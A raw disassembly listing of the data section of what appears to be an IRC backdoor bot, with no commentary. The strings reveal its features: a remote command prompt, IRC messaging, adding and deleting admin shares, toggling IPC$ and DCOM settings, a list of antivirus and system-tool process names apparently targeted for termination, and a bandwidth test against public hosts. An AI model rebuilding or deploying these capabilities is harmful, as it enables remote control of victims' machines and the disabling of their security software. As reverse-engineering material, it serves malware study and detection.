					; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419460:loc_4194C3o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419460:loc_4194AFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
		align 4
dword_439D58	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419594+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D84	db  2Dh	; -		; DATA XREF: sub_419594+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		dd 6D202D03h, 61737365h, 73206567h, 20746E65h, 63637573h
		dd 66737365h, 796C6C75h
		db    0
		align 4
		dd 7530h
off_439DB0	dd offset aRegedit_exe	; DATA XREF: sub_4196BD+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439EB8
		dd offset dword_439EAC
		dd offset dword_439EA0
		dd offset dword_439E94
		dd offset dword_439E88
		dd offset dword_439E7C
		dd offset dword_439E6C
		dd offset dword_439E60
		dd offset dword_439E54
		dd offset dword_439E48
		dd offset dword_439E3C
		dd offset dword_439E2C
		dd offset dword_439E20
		dd offset dword_439E10
dword_439E10	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BD+ECo
					; ___:00439E0Co
dword_439E20	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439E08o
dword_439E2C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439E04o
dword_439E3C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439E00o
dword_439E48	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DFCo
dword_439E54	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DF8o
dword_439E60	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DF4o
dword_439E6C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439DF0o
dword_439E7C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439DECo
dword_439E88	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439DE8o
dword_439E94	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439DE4o
dword_439EA0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439DE0o
dword_439EAC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439DDCo
dword_439EB8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439DD8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DD4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DD0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439DCCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439DC8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439DC4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439DC0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439DBCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439DB8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439DB4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439DB0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BD+191o
		align 4
unk_439F68	db  2Dh	; -		; DATA XREF: sub_4198EC:loc_419973o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F8C	db  2Dh	; -		; DATA XREF: sub_4198EC+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439FB0	db  2Dh	; -		; DATA XREF: sub_4198EC+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419C42o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010	db  2Dh	; -		; DATA XREF: sub_419B10+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A038	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419BF6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A068	db  2Dh	; -		; DATA XREF: sub_419C65+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A09C	db  2Dh	; -		; DATA XREF: sub_419C65+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A0C0	dd offset dword_43A0F8	; DATA XREF: sub_419E7A+1B3o
					; sub_41A19E+17Ao
		align 8
		dd offset dword_43A0F0
		align 10h
off_43A0D0	dd offset dword_43A0EC	; DATA XREF: sub_41A19E+1E3o
		dd offset off_43A0E8
		dd offset dword_43A0E4
		dd offset off_43A0E0
off_43A0E0	dd offset dword_5C3A44	; DATA XREF: sub_419E7A+217o
					; ___:0043A0DCo
dword_43A0E4	dd 2444h		; DATA XREF: ___:0043A0D8o
off_43A0E8	dd offset byte_5C3A43	; DATA XREF: ___:0043A0D4o
dword_43A0EC	dd 2443h		; DATA XREF: ___:off_43A0D0o
dword_43A0F0	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A0C8o
dword_43A0F8	dd 24435049h, 0		; DATA XREF: ___:off_43A0C0o
dword_43A100	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2E5o
					; sub_41A19E+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A130	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A158	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A0DCo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A184	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A1A8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_41A049o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A1F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FACo
					; sub_41A19E:loc_41A2CCo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A228	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A264	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419F87o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A298	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
					; sub_41A19E+EDo
		align 4
dword_43A2E8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+91o
					; sub_41A19E+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A318	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E7A:loc_419EE7o
		dd 62617369h, 2E64656Ch, 0
dword_43A338	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E7A+54o
					; sub_41A19E+54o
		align 4
dword_43A368	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19E+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19E+219o
dword_43A398	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A33Do
					; sub_41A19E:loc_41A40Eo
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+198o
					; sub_41A19E+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A41C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2A7o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A454	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A494	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19E:loc_41A20Bo
		dd 6C62616Eh, 2E6465h
dword_43A4B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A508	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AF+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AF+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AF+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AF+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AF+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AF+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AF+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AF+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AF+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AF+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AF+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AF+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AF+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AF+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AF+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AF+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AF+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AF+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AF+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88C+52o
dword_43A720	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA43+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7FC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA43+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA43+EBo
dword_43A828	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF7+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A86C	dd offset word_412F4E	; DATA XREF: sub_41ACF7:loc_41AD63o
off_43A870	dd offset dword_4E414C	; DATA XREF: sub_41ACF7:loc_41AD59o
dword_43A874	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF7+5Bo
dword_43A87C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF7+48o
unk_43A88C	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF6Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A8BC	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF68o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A8E8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB6+1A0o
		dd 4C525520h, 2Eh
unk_43A904	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF49o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A940	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB6+18Co
		dd 64657469h, 2Eh
dword_43A95C	dd 2A2F2Ah		; DATA XREF: sub_41ADB6+3Bo
dword_43A960	dd 7A0D6798h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A970	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A97C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_3
		dd offset nullsub_3
dword_43A988	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A98C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A9A0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A9A4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A9B0	dd offset off_43A9B0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A9B4	dd offset off_43A9B0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A9C8
		dd offset dword_43A9C8
dword_43A9C0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A9C8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A9B8o
					; ___:0043A9BCo
off_43C9D0	dd offset off_43A9B0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9D4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9D8	dd offset word_43C9E2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9DC	dd offset word_43C9E2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9E2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C9D8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBE4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBE8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBF0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBF4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBF8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CC00	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CC04	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CC10	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCF4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE58	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE60	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE68	dd 14h			; DATA XREF: sub_421624+2o
off_43CE6C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h
		dd 13h,	427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
		dd 0Fh,	427838h, 10h, 427830h, 5, 427828h, 1Eh,	427824h
		dd 12h,	427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
		dd 15h,	427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
		dd 18h,	4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
		dd 23h,	4277CCh, 24h, 4277C8h
dbl_43CF40	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF50	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF68	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF74	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF80	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF84	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF88	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF8C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF90	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF94	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CFA4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CFA8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CFAC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D020	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43D024	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43D028	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43D02C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43D030	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D038	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D03C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B8Ch, 9, 427B60h, 0Ah,	427B3Ch, 10h, 427B10h
		dd 11h,	427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
		dd 19h,	427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
		dd 78h,	427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
		dd 0FFh, 427958h
off_43D0C8	dd offset dword_4DBC80	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC80
		dd 101h
dword_43D0D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0E8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D108	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D138	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D348	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D350	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D358	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D370	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D388	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D38C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D390	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43D394	dd offset byte_545350	; DATA XREF: ___:off_43D414o
		dd 0Fh dup(0)
off_43D3D4	dd offset dword_544450	; DATA XREF: ___:off_43D418o
		dd 0Fh dup(0)
off_43D414	dd offset off_43D394	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D418	dd offset off_43D3D4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D420	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D424	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D428	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D430	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D434	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D438	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D43C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D46C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43D470	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D4A8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
